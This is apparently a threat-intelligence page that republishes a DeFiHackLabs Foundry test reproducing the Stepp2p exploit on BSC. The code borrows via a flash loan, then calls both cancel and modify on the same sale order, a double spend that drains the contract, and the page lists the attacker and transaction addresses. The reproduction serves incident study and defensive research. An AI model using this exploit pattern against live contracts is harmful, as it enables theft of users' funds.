Public reproduction file
src/test/2025-07/Stepp2p_exp.sol
Public reproduction file for dataset entry Stepp2p.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 43k USD8// Attacker : https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b23419// Attack Contract : https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c99310// Vulnerable Contract : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce11// Attack Tx : https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a813// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/194688794687714952019// Hacking God : N/A20pragma solidity ^0.8.0;22address constant PANCAKE_V3_USDC_USDT = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;23address constant STEPP2P = 0x99855380E5f48Db0a6BABeAe312B80885a816DCe;24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;26contract Stepp2p is BaseTestWithBalanceLog {27 uint256 blocknumToForkFrom = 54653987 - 1;29 function setUp() public {30 vm.createSelectFork("bsc", blocknumToForkFrom);31 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit32 fundingToken = BSC_USD;33 }35 function testExploit() public balanceLog {36 //implement exploit code here37 bytes memory data = "0x623269464a7178";38 IPancakeV3PoolActions(PANCAKE_V3_USDC_USDT).flash(address(this), 50_000 ether, 0, data);39 }41 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {42 uint256 amount = IERC20(BSC_USD).balanceOf(STEPP2P);44 IERC20(BSC_USD).approve(STEPP2P, amount);45 uint256 saleId = IStepp2p(STEPP2P).createSaleOrder(amount);46 // cancelSaleOrder + modifySaleOrder on same saleId both transfer funds — results in double spend.47 IStepp2p(STEPP2P).cancelSaleOrder(saleId);48 IStepp2p(STEPP2P).modifySaleOrder(saleId, amount, false);50 IERC20(BSC_USD).transfer(PANCAKE_V3_USDC_USDT, 50_000 ether + fee0);51 }52}54interface IStepp2p {55 function createSaleOrder(uint256 _amount) external returns (uint256);56 function cancelSaleOrder(uint256 _saleId) external;57 function modifySaleOrder(uint256 _saleId, uint256 _modifyAmount, bool isPostive) external;58}Analysis
Dataset entry
Public Foundry test for “Stepp2p” (2025-07-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341
- Attack Contract
0x399eff46b7d458575ebbbb572098e62e38f3c993
- Vulnerable Contract
0x99855380e5f48db0a6babeae312b80885a816dce
- Attack Tx
0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8
- Twitter: https://x.com/TenArmorAlert/status/1946887946877149520
- Explorer: https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341
- Explorer: https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993
- Explorer: https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce
- Explorer: https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce#code
File record
- Name
- Stepp2p
- Path
- src/test/2025-07/Stepp2p_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e0e8ee068f5838309ba21c7918de08019e0640d2
- Language
- Solidity
- Size
- 59 lines
- Date
- 2025-07-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/Stepp2p_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e0e8ee068f5838309ba21c7918de08019e0640d2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.